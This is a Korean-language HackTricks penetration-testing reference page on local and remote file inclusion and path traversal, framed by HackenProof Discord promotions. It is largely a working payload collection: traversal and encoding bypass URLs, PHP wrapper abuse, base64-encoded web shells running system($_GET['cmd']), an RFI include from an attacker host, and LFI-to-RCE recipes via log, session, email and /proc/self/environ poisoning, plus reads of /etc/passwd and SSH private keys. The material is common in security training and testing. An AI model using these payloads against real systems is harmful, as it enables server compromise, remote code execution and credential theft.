File Inclusion/Path traversal

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!

HackTricks를 지원하는 다른 방법:

HackenProof Discord 서버에 가입하여 경험 많은 해커 및 버그 바운티 헌터와 소통하세요!

해킹 통찰 해킹의 스릴과 도전에 대해 탐구하는 콘텐츠와 상호 작용하세요

실시간 해킹 뉴스 빠르게 변화하는 해킹 세계의 최신 뉴스와 통찰력을 유지하세요

최신 공지 최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 정보를 유지하세요

**디스코드**에 참여하여 최고의 해커들과 협업을 시작하세요!

파일 포함

원격 파일 포함 (RFI): 파일이 원격 서버에서 로드됩니다 (최상: 코드를 작성하고 서버가 실행함). PHP에서는 이 기능이 기본적으로 비활성화되어 있습니다 (allow_url_include). 로컬 파일 포함 (LFI): 서버가 로컬 파일을 로드합니다.

사용자가 서버가 로드할 파일을 어떤 방식으로든 제어할 수 있는 경우 취약점이 발생합니다.

취약한 PHP 함수: require, require_once, include, include_once

이 취약점을 악용하는 흥미로운 도구: https://github.com/kurobeats/fimap

Blind - 흥미로운 - LFI2RCE 파일

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

리눅스

여러 *nix LFI 목록을 섞고 더 많은 경로를 추가하여 이것을 만들었습니다:

/\로 변경해보세요. ../../../../../를 추가해보세요.

취약점이 존재하는지 확인하기 위해 파일 /etc/password을 찾기 위해 여러 기술을 사용하는 목록은 여기에서 찾을 수 있습니다.

윈도우

다양한 워드리스트 병합:

/\로 변경해보세요. C:/를 제거하고 ../../../../../를 추가해보세요.

취약점이 존재하는지 확인하기 위해 파일 /boot.ini을 찾기 위해 여러 기술을 사용하는 목록은 여기에서 찾을 수 있습니다.

OS X

리눅스의 LFI 목록을 확인하세요.

기본 LFI 및 우회

모든 예제는 로컬 파일 포함을 위한 것이지만 원격 파일 포함에도 적용할 수 있습니다 (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

비재귀적으로 제거된 탐색 시퀀스

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

널 바이트 (%00)

제공된 문자열 끝에 더 많은 문자를 추가하여 우회합니다 (우회 방법: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

이것은 PHP 5.4부터 해결되었습니다

인코딩

이중 URL 인코딩(및 기타)과 같은 비표준 인코딩을 사용할 수 있습니다:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

기존 폴더에서

백엔드가 폴더 경로를 확인하고 있을 수 있습니다:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

서버의 파일 시스템 디렉토리 탐색

서버의 파일 시스템은 특정 기술을 사용하여 파일뿐만 아니라 디렉토리를 식별하기 위해 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉토리 깊이를 결정하고 특정 폴더의 존재 여부를 조사하는 것을 포함합니다. 아래에는 이를 달성하기 위한 자세한 방법이 나와 있습니다:

  1. 디렉토리 깊이 결정: 현재 디렉토리의 깊이를 확인하기 위해 /etc/passwd 파일을 성공적으로 가져오는 것으로 현재 디렉토리의 깊이를 확인합니다 (서버가 Linux 기반인 경우 해당). 깊이가 세 개인 경우 다음과 같이 구성된 예시 URL이 있을 수 있습니다:

http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. 폴더 조사: 의심스러운 폴더 이름(예: private)을 URL에 추가한 다음, /etc/passwd로 이동합니다. 추가된 디렉토리 수준은 깊이를 하나 증가해야 합니다:

http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. 결과 해석: 서버의 응답은 폴더의 존재 여부를 나타냅니다:

    • 에러 / 출력 없음: private 폴더가 지정된 위치에 존재하지 않을 가능성이 높습니다.

    • /etc/passwd의 내용: private 폴더의 존재가 확인됩니다.

  2. 재귀적 탐색: 발견된 폴더는 동일한 기술 또는 전통적인 로컬 파일 포함 (LFI) 방법을 사용하여 하위 디렉토리나 파일을 더 탐색할 수 있습니다.

다른 위치의 디렉토리를 탐색하기 위해 페이로드를 조정합니다. 예를 들어, /var/www/private 디렉토리가 포함되어 있는지 확인하려면 (현재 디렉토리가 깊이 3에 있는 것으로 가정), 다음을 사용하세요:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

경로 절단 기술

경로 절단은 웹 애플리케이션에서 파일 경로를 조작하는 데 사용되는 방법입니다. 종종 특정 보안 조치가 파일 경로 끝에 추가 문자를 추가하여 우회함으로써 제한된 파일에 액세스하는 데 사용됩니다. 목표는 보안 조치에 의해 변경된 파일 경로가 여전히 원하는 파일을 가리키도록 만드는 것입니다.

PHP에서 파일 경로의 다양한 표현은 파일 시스템의 성격으로 인해 동등하게 간주될 수 있습니다. 예를 들어:

  • /etc/passwd, /etc//passwd, /etc/./passwd, /etc/passwd/는 모두 동일한 경로로 처리됩니다.

  • 마지막 6자가 passwd인 경우 /를 추가하여 passwd/로 만들어도 대상 파일이 변경되지 않습니다.

  • 마찬가지로 파일 경로에 .php가 추가된 경우 (shellcode.php와 같이), 끝에 /.를 추가해도 액세스되는 파일이 변경되지 않습니다.

제공된 예제는 /etc/passwd에 액세스하기 위해 경로 절단을 활용하는 방법을 보여줍니다. 이는 민감한 콘텐츠(사용자 계정 정보)를 포함하고 있어 일반적인 대상입니다.

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

이러한 시나리오에서 필요한 탐색 횟수는 대략 2027회 정도일 수 있지만, 이 숫자는 서버 구성에 따라 다를 수 있습니다.

  • 닷 세그먼트 및 추가 문자 사용: 탐색 시퀀스(../)는 추가 닷 세그먼트와 문자와 결합되어 파일 시스템을 탐색하는 데 사용될 수 있으며, 서버에 의해 추가된 문자열을 무시하고 이동할 수 있습니다.

  • 필요한 탐색 횟수 결정: 시행착오를 통해 ../ 시퀀스의 정확한 횟수를 찾아 루트 디렉토리로 이동한 다음 /etc/passwd로 이동하여 추가된 문자열(예: .php)을 중화시키고 원하는 경로(/etc/passwd)가 유지되도록 할 수 있습니다.

  • 가짜 디렉토리로 시작하기: 존재하지 않는 디렉토리(예: a/)로 경로를 시작하는 것은 예방 조치로 사용되거나 서버의 경로 구문 분석 논리 요구 사항을 충족시키기 위해 사용되는 일반적인 방법입니다.

경로 절삭 기술을 사용할 때는 서버의 경로 구문 분석 동작과 파일 시스템 구조를 이해하는 것이 중요합니다. 각 시나리오마다 다른 접근 방식이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 종종 필요합니다.

이 취약점은 PHP 5.3에서 수정되었습니다.

필터 우회 트릭

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

원격 파일 포함

PHP에서는 기본적으로 **allow_url_include**가 Off로 비활성화되어 있기 때문에 이 기능을 사용하려면 On으로 설정해야 합니다. 그렇게 되면 서버에서 PHP 파일을 포함시켜 RCE를 얻을 수 있습니다:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

만약 어떤 이유로든 **allow_url_include**가 On 상태이지만 PHP가 외부 웹페이지 접근을 필터링하는 경우, 이 게시물에 따르면, base64를 사용하여 b64 PHP 코드를 디코딩하고 RCE를 얻을 수 있습니다:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

이전 코드에서 최종 +.txt가 추가된 이유는 공격자가 .txt로 끝나는 문자열이 필요했기 때문입니다. 따라서 문자열이 .txt로 끝나고 b64 디코딩 후에 해당 부분은 쓰레기 값으로 반환되며 실제 PHP 코드가 포함되어 (따라서 실행됨) 될 것입니다.

다른 예로 php:// 프로토콜을 사용하지 않는 경우는 다음과 같습니다:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python 루트 요소

파이썬에서 다음과 같은 코드에서:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

사용자가 file_name절대 경로를 전달하면 이전 경로가 그대로 제거됩니다:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

다음은 문서에 따라 의도된 동작입니다:

구성 요소가 절대 경로인 경우, 이전 모든 구성 요소가 삭제되고 절대 경로 구성 요소에서 계속 결합됩니다.

Java 디렉토리 목록

Java에서 Path Traversal이 있는 경우 파일 대신 디렉토리를 요청하면 해당 디렉토리의 목록이 반환되는 것으로 보입니다. 다른 언어에서는 이러한 일이 발생하지 않을 것입니다 (afaik).

상위 25개 매개변수

다음은 로컬 파일 포함 (LFI) 취약점에 취약할 수 있는 상위 25개 매개변수 목록입니다 (링크 참조):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

PHP 래퍼 및 프로토콜을 사용한 LFI / RFI

php://filter

PHP 필터를 사용하면 데이터를 읽거나 쓰기 전에 기본 수정 작업을 수행할 수 있습니다. 필터에는 5가지 카테고리가 있습니다:

  • string.rot13

  • string.toupper

  • string.tolower

  • string.strip_tags: 데이터에서 태그를 제거합니다 ("<"와 ">" 문자 사이의 모든 것)

  • 이 필터는 현대 버전의 PHP에서 사라졌음을 유의하십시오.

  • convert.base64-encode

  • convert.base64-decode

  • convert.quoted-printable-encode

  • convert.quoted-printable-decode

  • convert.iconv.* : 다른 인코딩으로 변환합니다(convert.iconv.<input_enc>.<output_enc>). 지원되는 모든 인코딩 목록을 얻으려면 콘솔에서 실행하십시오: iconv -l

convert.iconv.* 변환 필터를 남용하면 임의의 텍스트를 생성할 수 있으며, 임의의 텍스트를 작성하거나 포함 프로세스를 만드는 데 유용할 수 있습니다. 자세한 내용은 php 필터를 통한 LFI2RCE를 확인하십시오.

  • zlib.deflate: 내용을 압축합니다 (많은 정보를 유출하는 경우 유용)

  • zlib.inflate: 데이터를 압축 해제합니다

  • mcrypt.* : 사용 중단됨

  • mdecrypt.* : 사용 중단됨

  • 기타 필터

  • php에서 var_dump(stream_get_filters());를 실행하면 몇 가지 예상치 못한 필터를 찾을 수 있습니다:

  • consumed

  • dechunk: HTTP 청크 인코딩을 반전시킵니다

  • convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

"php://filter" 부분은 대소문자를 구분하지 않습니다.

임의 파일을 읽기 위한 오라클로서 php 필터 사용

이 게시물에서는 서버로부터 반환된 출력 없이 로컬 파일을 읽는 기술을 제안합니다. 이 기술은 php 필터를 오라클로 사용하여 파일을 문자 단위로 읽는 부울 추출에 기반을 두고 있습니다. 이는 php 필터가 텍스트를 충분히 크게 만들어 php가 예외를 발생시킬 수 있기 때문입니다.

원본 게시물에서 기술에 대한 자세한 설명을 찾을 수 있지만, 여기에 간단한 요약이 있습니다:

  • UCS-4LE 코덱을 사용하여 텍스트의 선행 문자를 남기고 문자열 크기를 기하급수적으로 증가시킵니다.

  • 이를 사용하여 초기 문자가 올바르게 추측되었을 때 매우 큰 텍스트를 생성하여 php가 오류를 발생시킵니다.

  • dechunk 필터는 첫 번째 문자가 16진수가 아닌 경우 모두 제거하므로 첫 문자가 16진수인지 여부를 알 수 있습니다.

  • 이는 이전 것과 결합됨으로써 (그리고 추측된 문자에 따라 다른 필터들과 함께), 우리는 충분한 변환을 수행하여 16진수 문자가 아닌 경우 문자의 시작을 추측할 수 있게 됩니다. 16진수인 경우 dechunk가 삭제하지 않고 초기 폭탄이 php 오류를 발생시킬 것입니다.

  • 코덱 convert.iconv.UNICODE.CP930는 각 문자를 다음 문자로 변환합니다 (따라서 이 코덱을 적용하면 a -> b). 이를 통해 예를 들어 첫 문자가 a인지 여부를 알 수 있습니다. 6개의 이 코덱을 적용하면 a->b->c->d->e->f->g로 문자가 더 이상 16진수 문자가 아니게 되므로 dechunk가 삭제하지 않고 php 오류가 발생합니다.

  • 처음 문자가 숫자인 경우 base64로 인코딩하고 숫자를 누출하기 위해 처음 2개의 문자를 누출해야 합니다.

  • 초기 문자 이상을 누출하는 방법은 어떻게 하는지 볼 문제입니다. convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE와 같은 순서 메모리 필터를 사용하여 문자의 순서를 변경하고 텍스트의 첫 위치에 다른 문자를 가져올 수 있습니다.

  • 더 많은 데이터를 얻기 위해서convert.iconv.UTF16.UTF16을 사용하여 처음에 2바이트의 쓰레기 데이터를 생성하고, UCS-4LE을 적용하여 다음 2바이트와 피벗하고 쓰레기 데이터까지 데이터를 삭제합니다 (이렇게 하면 초기 텍스트의 처음 2바이트가 제거됩니다). 원하는 비트를 누출할 때까지 계속합니다.

게시물에서는 이를 자동으로 수행하는 도구도 누출되었습니다: php_filters_chain_oracle_exploit.

php://fd

이 래퍼는 프로세스가 열어 둔 파일 디스크립터에 액세스할 수 있게 합니다. 열려 있는 파일의 내용을 누출하는 데 유용할 수 있습니다:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

당신은 php://stdin, php://stdout 및 php://stderr를 사용하여 각각 파일 디스크립터 0, 1 및 2에 액세스할 수도 있습니다 (이것이 공격에 어떻게 유용할지는 확실하지 않습니다)

zip:// 및 rar://

PHPShell이 포함된 Zip 또는 Rar 파일을 업로드하고 액세스할 수 있습니다. rar 프로토콜을 남용하기 위해서는 특별히 활성화되어야 합니다.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

data:// 스키마는 파일 포함 취약점을 악용하는 데 사용됩니다. 이 스키마를 통해 데이터 URI를 통해 파일 시스템의 파일을 읽을 수 있습니다.

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

이 프로토콜은 php 구성에 의해 제한됩니다 allow_url_openallow_url_include

expect://

Expect를 활성화해야 합니다. 이를 사용하여 코드를 실행할 수 있습니다:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

입력://

POST 매개변수에 페이로드를 지정하십시오:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

웹 애플리케이션이 파일 로딩을 위해 include와 같은 함수를 활용할 때 .phar 파일을 사용하여 PHP 코드를 실행할 수 있습니다. 아래 제공된 PHP 코드 스니펫은 .phar 파일을 생성하는 방법을 보여줍니다:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar 파일을 컴파일하려면 다음 명령을 실행해야 합니다:

php --define phar.readonly=0 create_path.php

실행 시 test.phar라는 파일이 생성되며, 이는 잠재적으로 로컬 파일 포함(LFI) 취약점을 악용할 수 있습니다.

LFI가 PHP 코드 실행 없이 파일을 읽는 경우, file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), 또는 filesize()와 같은 함수를 통해 파일을 읽는 경우, 직렬화 취약점 악용이 시도될 수 있습니다. 이 취약점은 phar 프로토콜을 사용하여 파일을 읽는 것과 관련이 있습니다.

.phar 파일의 직렬화 취약점 악용에 대한 자세한 내용은 아래 링크된 문서를 참조하십시오:

Phar 직렬화 악용 가이드

pagephar:// deserialization

더 많은 프로토콜

더 많은 가능한 여기에 포함할 프로토콜 확인하십시오:

  • php://memory 및 php://temp — 메모리나 임시 파일에 쓰기 (파일 포함 공격에 어떻게 유용할지 확실하지 않음)

  • file:// — 로컬 파일 시스템 접근

  • http:// — HTTP(s) URL 접근

  • ftp:// — FTP(s) URL 접근

  • zlib:// — 압축 스트림

  • glob:// — 패턴과 일치하는 경로명 찾기 (출력 가능한 것을 반환하지 않으므로 여기서는 실제로 유용하지 않음)

  • ssh2:// — 보안 셸 2

  • ogg:// — 오디오 스트림 (임의 파일 읽기에 유용하지 않음)

PHP의 'assert'를 통한 LFI

PHP에서 'assert' 함수를 다룰 때 로컬 파일 포함(LFI) 위험은 특히 높습니다. 'assert' 함수는 문자열 내에서 코드를 실행할 수 있기 때문에, ".."과 같은 디렉터리 이동 문자가 포함된 입력이 적절하게 검사되지 않은 경우 문제가 발생할 수 있습니다.

예를 들어, PHP 코드가 디렉터리 이동을 방지하도록 설계되었지만 다음과 같이 처리되지 않은 경우:

assert("strpos('$file', '..') === false") or die("");

이는 탐색을 막기 위해 만들어졌지만, 코드 삽입을 위한 벡터를 실수로 만들어냅니다. 파일 내용을 읽기 위해 이를 악용하려는 공격자는 다음을 사용할 수 있습니다:

' and die(highlight_file('/etc/passwd')) or '

마찬가지로, 임의 시스템 명령을 실행하기 위해 다음을 사용할 수 있습니다:

' and die(system("id")) or '

중요한 것은 이러한 페이로드를 URL 인코딩해야합니다.

HackenProof Discord 서버에 가입하여 경험 많은 해커 및 버그 바운티 헌터들과 소통하세요!

해킹 통찰 해킹의 스릴과 도전에 대해 파헤치는 콘텐츠와 상호 작용하세요

실시간 해킹 뉴스 실시간 뉴스와 통찰을 통해 빠르게 변화하는 해킹 세계를 파악하세요

최신 공지 최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아두세요

**Discord**에 참여하여 최고의 해커들과 협업을 시작하세요!

PHP Blind Path Traversal

이 기술은 파일 경로제어하지만 파일 내용을 볼 수 없는 경우(예: file() 호출과 같은)에 사용됩니다.

이 놀라운 게시물에서 PHP 필터를 통해 블라인드 경로 순회를 악용하여 파일 내용을 에러 오라클을 통해 유출하는 방법이 설명되어 있습니다.

기본적으로 이 기술은 파일 내용을 매우 크게 만들기 위해 "UCS-4LE" 인코딩을 사용하여 파일을 열 때 에러를 유발합니다.

그런 다음, 첫 번째 문자를 노출시키기 위해 dechunk 필터와 base64 또는 rot13와 같은 다른 필터를 사용하고 마지막으로 convert.iconv.UCS-4.UCS-4LEconvert.iconv.UTF16.UTF-16BE 필터를 사용하여 다른 문자를 처음에 배치하고 노출합니다.

취약할 수 있는 함수: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (이 함수로만 읽기 전용 대상), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

기술적인 세부 정보는 언급된 게시물을 확인하세요!

LFI2RCE

원격 파일 포함

이전에 설명한 내용은 이 링크를 따르세요.

Apache/Nginx 로그 파일을 통한 방법

Apache 또는 Nginx 서버가 LFI에 취약하다면 포함 함수 내에서 **/var/log/apache2/access.log 또는 /var/log/nginx/access.log**에 액세스를 시도할 수 있습니다. 사용자 에이전트 또는 GET 매개변수에 **<?php system($_GET['c']); ?>**와 같은 PHP 셸을 설정하고 해당 파일을 포함할 수 있습니다.

셸에 단일 따옴표 대신 이중 따옴표를 사용하는 경우, 이중 따옴표는 문자열 "quote;"로 수정되며, PHP에서 오류가 발생하고 그 외에는 아무 것도 실행되지 않습니다.

또한 페이로드를 올바르게 작성해야하며, 그렇지 않으면 PHP가 로그 파일을로드할 때마다 오류가 발생하고 두 번째 기회가 없습니다.

이것은 다른 로그에서도 수행할 수 있지만, 로그 내부의 코드가 URL 인코딩되어 있을 수 있으며 이로 인해 셸이 손상될 수 있습니다. "basic" 인증 헤더에는 Base64로 "사용자:비밀번호"가 포함되어 있으며 로그 내에서 디코딩됩니다. PHPShell을 이 헤더 내에 삽입할 수 있습니다. 다른 가능한 로그 경로:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

이메일을 통해

내부 계정 (user@localhost)으로 PHP payload인 <?php echo system($_REQUEST["cmd"]); ?>를 포함한 이메일을 보내고, /var/mail/<USERNAME> 또는 /var/spool/mail/<USERNAME> 경로로 사용자의 메일을 포함하려고 시도합니다.

/proc/*/fd/*를 통해

  1. 많은 쉘을 업로드합니다 (예 : 100)

  2. http://example.com/index.php?page=/proc/$PID/fd/$FD를 포함하십시오. 여기서 $PID는 프로세스의 PID이며 (무차별 대입될 수 있음), $FD는 파일 디스크립터입니다 (이것도 무차별 대입될 수 있음).

/proc/self/environ을 통해

로그 파일처럼 User-Agent에 payload를 보내면 /proc/self/environ 파일 내에 반영됩니다.

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

업로드를 통해

파일을 업로드할 수 있다면, 그냥 쉘 페이로드를 주입하십시오 (예 : <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Zip 파일 업로드를 통해

PHP 쉘을 포함한 ZIP 파일을 업로드하고 압축을 해제하여 액세스합니다:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP 세션을 통해

웹사이트가 PHP 세션(PHPSESSID)을 사용하는지 확인하세요.

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP에서 이러한 세션은 /var/lib/php5/sess\[PHPSESSID]_ 파일에 저장됩니다.

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

쿠키를 <?php system('cat /etc/passwd');?>로 설정합니다.

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFI를 사용하여 PHP 세션 파일을 포함합니다.

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

SSH를 통해

만약 ssh가 활성화되어 있다면 사용 중인 사용자를 확인하세요 (/proc/self/status 및 /etc/passwd) 그리고 <HOME>/.ssh/id_rsa에 액세스를 시도하세요.

vsftpd _로그_를 통해

FTP 서버 vsftpd의 로그는 _/var/log/vsftpd.log_에 위치합니다. 로컬 파일 포함 (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 액세스가 가능한 시나리오에서 다음 단계를 고려할 수 있습니다:

  1. 로그인 프로세스 중에 사용자 이름 필드에 PHP 페이로드를 삽입합니다.

  2. 삽입 후, LFI를 사용하여 _/var/log/vsftpd.log_에서 서버 로그를 검색합니다.

php base64 필터를 통해 (base64 사용)

기사에서 보듯이, PHP base64 필터는 비베이스64를 무시합니다. 파일 확장자 확인을 우회하기 위해 사용할 수 있습니다: base64를 제공하면 ".php"로 끝나고, 그것은 단순히 "."을 무시하고 "php"를 base64에 추가합니다. 다음은 예시 페이로드입니다:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

PHP 필터를 통해 (파일 필요 없음)

writeupphp 필터를 사용하여 임의의 콘텐츠를 생성하여 출력할 수 있다고 설명합니다. 이는 기본적으로 파일에 쓰지 않고도 include를 위한 임의의 php 코드를 생성할 수 있다는 것을 의미합니다.

pageLFI2RCE via PHP Filters

세그멘테이션 폴트를 통해

/tmp임시로 저장될 파일을 업로드한 다음 동일한 요청에서 세그멘테이션 폴트를 트리거하면 임시 파일이 삭제되지 않고 해당 파일을 찾을 수 있습니다.

pageLFI2RCE via Segmentation Fault

Nginx 임시 파일 저장소를 통해

로컬 파일 포함을 발견했고 Nginx가 PHP 앞에서 실행 중이라면 다음 기술을 사용하여 RCE를 얻을 수 있을 수도 있습니다:

pageLFI2RCE via Nginx temp files

PHP_SESSION_UPLOAD_PROGRESS를 통해

세션이 없고 session.auto_startOff이더라도 로컬 파일 포함을 발견했다면 **PHP_SESSION_UPLOAD_PROGRESS**를 multipart POST 데이터에 제공하면 PHP가 세션을 활성화합니다. 이를 악용하여 RCE를 얻을 수 있습니다:

pageLFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Windows에서 임시 파일 업로드를 통해

로컬 파일 포함을 발견했고 서버가 Windows에서 실행 중이라면 RCE를 얻을 수 있을 수도 있습니다:

pageLFI2RCE Via temp file uploads

phpinfo() (file_uploads = on)를 통해

로컬 파일 포함을 발견했고 파일이 phpinfo()를 노출하며 file_uploads = on이면 RCE를 얻을 수 있습니다:

pageLFI2RCE via phpinfo()

compress.zlib + PHP_STREAM_PREFER_STUDIO + 경로 공개를 통해

로컬 파일 포함을 발견했고 임시 파일의 경로를 유출할 수 있지만 서버포함할 파일에 PHP 표시가 있는지 확인하는 경우, 이 레이스 컨디션을 사용하여 해당 확인을 우회할 수 있습니다:

pageLFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

영구 대기 + 브루트포스를 통해

LFI를 악용하여 임시 파일을 업로드하고 서버가 PHP 실행을 중단시키면 시간이 지나도록 파일 이름을 브루트 포스하여 임시 파일을 찾을 수 있습니다:

pageLFI2RCE via Eternal waiting

치명적 오류로

/usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar 중 하나를 포함합니다. (동일한 것을 2번 포함하여 해당 오류를 발생시켜야 합니다).

이것이 어떻게 유용한지는 모르겠지만 그럴 수도 있습니다. 심지어 PHP 치명적 오류를 발생시켜도 PHP 임시 파일 업로드는 삭제됩니다.

Last updated